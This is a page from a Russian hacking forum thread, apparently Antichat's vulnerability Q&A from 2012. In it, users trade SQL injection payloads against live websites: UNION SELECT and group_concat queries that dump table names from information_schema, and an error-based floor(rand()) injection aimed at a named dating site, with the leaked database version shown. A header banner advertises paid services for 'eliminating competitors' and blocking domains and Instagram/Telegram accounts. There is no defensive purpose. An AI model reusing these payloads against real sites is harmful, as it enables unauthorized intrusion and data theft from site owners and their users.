Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1958 из 2438

1958

Опции темы

Поиск в этой теме

Опции просмотра

#19571

08.02.2012, 23:32

sl1k

Новичок

Регистрация: 31.07.2009

Сообщений: 1

С нами: 8832539

Репутация: 0

16 символов навело на мысль что это sql хеш , но че он в таком странном виде?

Подскажите кто нибудь хоть что-то плз .

#19572

09.02.2012, 00:17

pirat0

Познающий

Регистрация: 16.01.2011

Сообщений: 71

С нами: 8063606

Репутация: -1

Цитата:

Сообщение от sl1k

16 символов навело на мысль что это sql хеш , но че он в таком странном виде?
Подскажите кто нибудь хоть что-то плз .

а у тебя случяйно не blind injection??

#19573

09.02.2012, 00:25

pirat0

Познающий

Регистрация: 16.01.2011

Сообщений: 71

С нами: 8063606

Репутация: -1

Цитата:

Сообщение от ivan151

есть ли запрос чтобы не юзать постоянно лимит(я о такой конструкции union+select+1,2,3,4,table_name+from+information_s chema.tables+limit+1,1) а что-бы вывести все таблицы с одного поля или нескольких,просто есть всего 2 поля

есть - union+select+1,2,3,4,group_concat(table_name)+from +information_schema.tables+where+table_schema='и� �я database()'

но вывести можго только 1024 символа

#19574

09.02.2012, 00:43

Osstudio

Постоянный

Регистрация: 17.04.2011

Сообщений: 638

С нами: 7932566

Репутация: 81

В общем так, есть сайт, и при site.com/lol.php?id=1' выдаётся ошибка mysql_fetch_object(), и кавычка экранируется как \' ...

а при /**/order/**/by/**/9999-- и т.п еррора нету, думал что запрос обрамлён в кавычки, но видимо не так, так как другим раскрутить удалось, собственно, какие идеи?

P.S Error-based тоже юзал..

#19575

09.02.2012, 00:47

Osstudio

Постоянный

Регистрация: 17.04.2011

Сообщений: 638

С нами: 7932566

Репутация: 81

Цитата:

Сообщение от pirat0

есть - union+select+1,2,3,4,group_concat(table_name)+from +information_schema.tables+where+table_schema='и� �я database()'
но вывести можго только 1024 символа

юзай mid()

а вообще LIMIT бы не мешало сначала

#19576

09.02.2012, 01:34

TYPUCT

Познающий

Регистрация: 07.09.2010

Сообщений: 30

С нами: 8252246

Репутация: 0

Есть идеи как нибудь раскрутить это?

Цитата:

Сообщение от None

http://www.datingtop.net/index.php?id=10'

#19577

09.02.2012, 01:57

sl1k

Новичок

Регистрация: 31.07.2009

Сообщений: 1

С нами: 8832539

Репутация: 0

Цитата:

Сообщение от pirat0

а у тебя случяйно не blind injection??

нет через обычный union вывожу.

cв§±uКч"‡Bњn

dс\ ґЃJК.я-йј

ЛXЫ l[Ж RЂNяїџъ

ХzWt9:fЗРЭh.G

JyM·B>ґ

#19578

09.02.2012, 02:12

pirat0

Познающий

Регистрация: 16.01.2011

Сообщений: 71

С нами: 8063606

Репутация: -1

Цитата:

Сообщение от TYPUCT

Есть идеи как нибудь раскрутить это?

http://www.datingtop.net/index.php?id=10+and(select+count(*)+from+informati on_schema.tables+group+by(concat(version(),0x00,fl oor(rand(0)*2))))--+

Код:

Duplicate entry '5.0.92-community' for key 1

#19579

09.02.2012, 02:23

pirat0

Познающий

Регистрация: 16.01.2011

Сообщений: 71

С нами: 8063606

Репутация: -1

[QUOTE="sl1k"]
нет через обычный union вывожу.
cв§±uКч"‡Bњn
dс\ ґЃJК.я-йј
ЛXЫ l[Ж RЂNяїџъ
ХzWt9:fЗРЭh.G
JyM·B>ґґ

#19580

09.02.2012, 02:33

sl1k

Новичок

Регистрация: 31.07.2009

Сообщений: 1

С нами: 8832539

Репутация: 0

Цитата:

Сообщение от pirat0

ты руками выводиш или прогой??

и руками и прогой

Страница 1958 из 2438

1958

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход